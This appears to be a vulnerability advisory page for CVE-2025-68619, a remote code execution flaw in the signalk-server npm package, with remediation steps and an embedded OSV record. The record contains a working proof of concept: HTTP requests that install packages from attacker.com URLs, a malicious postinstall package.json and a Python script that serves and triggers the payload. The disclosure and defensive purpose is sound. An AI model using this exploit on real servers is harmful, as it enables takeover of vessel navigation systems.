CVE-2025-68619: Signalk server Remote Code Execution Vulnerability
HIGHCVE-2025-68619 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Signalk server libraries in the npm ecosystem. The issue involves signal k server vulnerable to remote code execution via malicious npm package. Remediation is available by upgrading affected packages to version 2.9.0.
CVE-2025-68619 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-68619
To remediate this vulnerability, upgrade all affected Signalk server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install signalk-server@2.9.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls signalk-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-68619, inspect your project dependencies using npm:
npm ls signalk-server
Analyze the terminal output to locate any version of Signalk server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.9.0), your application is affected.
Note: The npm ls signalk-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Signalk server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-68619 Affected Signalk server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
signalk-server
|
npm |
< 2.9.0
|
2.9.0
|
References
Frequently Asked Questions
What is CVE-2025-68619?
Which Signalk server versions are affected?
What version fixes CVE-2025-68619?
Is signalk-server affected?
What is the CVSS score of CVE-2025-68619?
What CWE is associated with CVE-2025-68619?
How can I check npm dependencies for CVE-2025-68619?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-93jc-vqqc-vvvh",
"modified" : "2026-01-06T18:41:41Z",
"published" : "2026-01-02T15:23:39Z",
"aliases" : [ "CVE-2025-68619" ],
"summary" : "Signal K Server Vulnerable to Remote Code Execution via Malicious npm Package",
"details" : "The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution.\n\nThe vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script.\n\n### Affected Code\n\n**File**: `src/interfaces/appstore.js` (lines 46-76)\n\n```javascript\napp.post(\n [\n `${SERVERROUTESPREFIX}/appstore/install/:name/:version`,\n `${SERVERROUTESPREFIX}/appstore/install/:org/:name/:version`\n ],\n (req, res) => {\n let name = req.params.name\n const version = req.params.version // No validation on version format\n \n // ... validation only checks if package name exists ...\n \n installSKModule(name, version) // Passes unsanitized version to npm\n }\n)\n```\n\n**File**: `src/modules.ts` (lines 180-205)\n\n```typescript\nif (name) {\n packageString = version ? `${name}@${version}` : name // Direct concatenation\n}\n\nif (process.platform === 'win32') {\n npm = spawn('cmd', ['/c', `npm --save ${command} ${packageString}`], opts)\n} else {\n npm = spawn('npm', ['--save', command, packageString], opts)\n}\n```\n\n### Impact\n\nAn attacker with admin credentials (obtained via the authentication bypass chain) can execute arbitrary commands on the server with the privileges of the SignalK process. This enables complete system compromise including data theft, backdoor installation, lateral movement, and denial of service.\n\nA compromised server can inject malicious PGN messages onto the NMEA 2000 bus or forge NMEA 0183 sentences, affecting all connected devices. Attack scenarios include manipulating autopilot systems (Pypilot, Raymarine, Garmin) via the Autopilot API to alter vessel course, spoofing AIS messages to create phantom vessels on radar, altering GPS position data sent to chart plotters and autopilots, injecting false depth sounder readings, manipulating wind instrument data, or sending shutdown commands to electronically controlled engines via NMEA 2000. Many vessels expose SignalK to the internet for remote monitoring, making them globally accessible to attackers.\n\nThe vulnerability can be exploited using any of npm's flexible version specifier formats:\n\n**1. Real npm Package with Required Keyword**\n\n```http\nPOST /skServer/appstore/install/malicious-signalk-plugin/1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nPublishing a malicious package to the official npm registry with the `signalk-node-server-plugin` or `signalk-webapp` keyword allows us to install arbitrary npm packages using standard semantic versioning format (`1.0.0`). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware via npm's ecosystem, since such a package will show up on the webapp feed and other users might install it.\n\n**2. Real npm Package via npm Alias**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/npm:malicious-package@1.0.0 HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe `npm:` prefix allows installing a package under a different name. For example, `npm:malicious-package@1.0.0` installs `malicious-package` but references it as if it were the legitimate `signalk-pushover-plugin`. This obscures the actual package being installed from casual inspection, making it stealthier while still requiring npm publishing.\n\n**3. Package Hosted on GitHub (GitHub Shorthand)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/attacker%2Fmalicious-plugin HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe format `username/repo` (URL-encoded as `attacker%2Fmalicious-plugin`) is shorthand for `github:username/repo`. npm automatically fetches the repository from GitHub, extracts it, and runs `npm install`. If the repo contains a `postinstall` script, it executes. The repository must contain a valid `package.json` with the malicious script.\n\n**4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/git%2Bhttps:%2F%2Fattacker.com%2Fmalicious-plugin.git HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe `git+https://` or `git+ssh://` prefix tells npm to clone a git repository. This works with any git server, not just GitHub. The attacker has full control over the repository contents and can update it at any time. This provides maximum control over the package source without relying on third-party services.\n\n**5. Package Hosted on Attacker Webserver as Tarball**\n\n```http\nPOST /skServer/appstore/install/signalk-pushover-plugin/http:%2F%2Fattacker.com%2Fpkg.tgz HTTP/1.1\nHost: localhost:3000\nAuthorization: Bearer <VALID_AUTH_TOKEN>\nContent-Length: 0\n```\n\nThe `http://` or `https://` URL pointing to a `.tgz` file tells npm to download and extract the tarball. This is the most flexible method as it requires no external service dependencies - the attacker controls both the package contents and the hosting infrastructure. No git repository or npm registry account needed.\n\nAll methods result in npm executing the `postinstall` script from the attacker-controlled package. A malicious npm package requires only two files to achieve RCE:\n\n**package.json** - Defines the package metadata and the malicious script:\n```json\n{\n \"name\": \"signalk-evil-plugin\",\n \"version\": \"1.0.0\",\n \"keywords\": [\"signalk-node-server-plugin\"],\n \"scripts\": {\n \"postinstall\": \"node -e \\\"require('child_process').exec('calc.exe')\\\"\"\n }\n}\n```\n\nThe `postinstall` script executes automatically after npm installs the package.\n\n**index.js** - Minimal plugin implementation to avoid errors:\n```javascript\nmodule.exports = function(app) {\n return {\n id: 'evil-plugin',\n name: 'Evil Plugin',\n start: function() {},\n stop: function() {}\n }\n}\n```\n\n### PoC using the tarball variant of the exploit\n\n```python\nimport requests\nimport tarfile\nimport json\nimport io\nimport threading\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nfrom urllib.parse import quote\n\nTARGET = \"http://localhost:3000\"\nATTACKER_IP = \"localhost\"\nATTACKER_PORT = 9999\nRCE_COMMAND = \"calc.exe\" # Windows; use \"id > /tmp/pwned\" for Linux\nTOKEN = \"<VALID_AUTH_TOKEN>\"\n\ndef create_malicious_tarball():\n package_json = {\n \"name\": \"signalk-evil-plugin\",\n \"version\": \"1.0.0\",\n \"keywords\": [\"signalk-node-server-plugin\"],\n \"scripts\": {\n \"postinstall\": f\"node -e \\\"require('child_process').exec('{RCE_COMMAND}')\\\"\"\n }\n }\n \n index_js = b\"module.exports = function(app) { return { id: 'evil', start: function(){}, stop: function(){} } }\"\n \n tar_buffer = io.BytesIO()\n with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n # Add package.json\n pkg_data = json.dumps(package_json, indent=2).encode()\n pkg_info = tarfile.TarInfo(name=\"package/package.json\")\n pkg_info.size = len(pkg_data)\n tar.addfile(pkg_info, io.BytesIO(pkg_data))\n \n # Add index.js\n idx_info = tarfile.TarInfo(name=\"package/index.js\")\n idx_info.size = len(index_js)\n tar.addfile(idx_info, io.BytesIO(index_js))\n \n return tar_buffer.getvalue()\n\ndef start_malicious_server(tarball_data):\n class Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(f\"[+] Victim fetched malicious package!\")\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/gzip\")\n self.send_header(\"Content-Length\", len(tarball_data))\n self.end_headers()\n self.wfile.write(tarball_data)\n \n def log_message(self, *args):\n pass\n \n server = HTTPServer((\"0.0.0.0\", ATTACKER_PORT), Handler)\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n print(f\"[+] Malicious server running on port {ATTACKER_PORT}\")\n return server\n\ndef trigger_rce(token):\n tarball_url = f\"http://{ATTACKER_IP}:{ATTACKER_PORT}/package.tgz\"\n encoded_url = quote(tarball_url, safe='')\n \n url = f\"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}\"\n \n headers = {\"Authorization\": f\"Bearer {token}\"}\n \n print(f\"[*] Triggering installation from {tarball_url}\")\n r = requests.post(url, headers=headers)\n print(f\"[+] Response: {r.status_code} - {r.text}\")\n\nif __name__ == \"__main__\":\n tarball = create_malicious_tarball()\n print(f\"[+] Created malicious tarball ({len(tarball)} bytes)\")\n \n start_malicious_server(tarball)\n trigger_rce(TOKEN)\n```\n\n### Recommendation\n\n1. Restrict package installation to the official npm registry only by validating that version parameters match semver format\n2. Use npm's `--ignore-scripts` flag to prevent automatic script execution\n3. Implement an allowlist of approved packages\n4. Consider sandboxing the package installation process\n\nWhile we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it's rise in polularity.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "signalk-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.9.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-93jc-vqqc-vvvh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68619"
}, {
"type" : "WEB",
"url" : "https://github.com/SignalK/signalk-server/commit/f06140bed702de93a5dbb6b33dc2486960764d1d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SignalK/signalk-server"
}, {
"type" : "WEB",
"url" : "https://github.com/SignalK/signalk-server/releases/tag/v2.19.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-02T15:23:39Z",
"nvd_published_at" : "2026-01-01T19:15:53Z"
}
}